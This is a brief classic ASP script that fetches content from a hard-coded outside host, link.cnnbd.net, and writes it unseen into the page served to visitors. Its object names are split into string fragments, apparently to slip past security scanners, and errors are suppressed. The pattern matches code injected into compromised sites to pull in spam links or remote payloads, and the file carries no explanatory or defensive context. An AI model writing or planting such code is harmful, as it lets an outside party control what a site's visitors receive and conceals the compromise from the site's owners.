% function loadWebPage(byval A_strCharset,byval A_strUrl) dim MM_objHttp dim MM_objBytesStream On Error Resume Next Set MM_objBytesStream = Server.CreateObject("Adod" & "b.S" & "tream") Set MM_objHttp = Server.CreateObject("Microsof" & "t.X" & "MLHTTP") MM_objHttp.Open "Get", A_strUrl, False, "", "" MM_objHttp.Send if MM_objHttp.status<>"200" then loadWebPage="" exit function end if if A_strCharset="" then loadWebPage=MM_objHttp.Responsebody else With MM_objBytesStream .Type = 2 .Open .WriteText MM_objHttp.Responsebody .Position = 0 .Charset = A_strCharset .Position = 2 loadWebPage=.ReadText .Cancel() .close End With if err.number<>0 then loadWebPage="" end if end if set MM_objBytesStream=nothing Set MM_objHttp = Nothing end function response.write(loadWebPage("gb2312","http://link.cnnbd.net/")) %>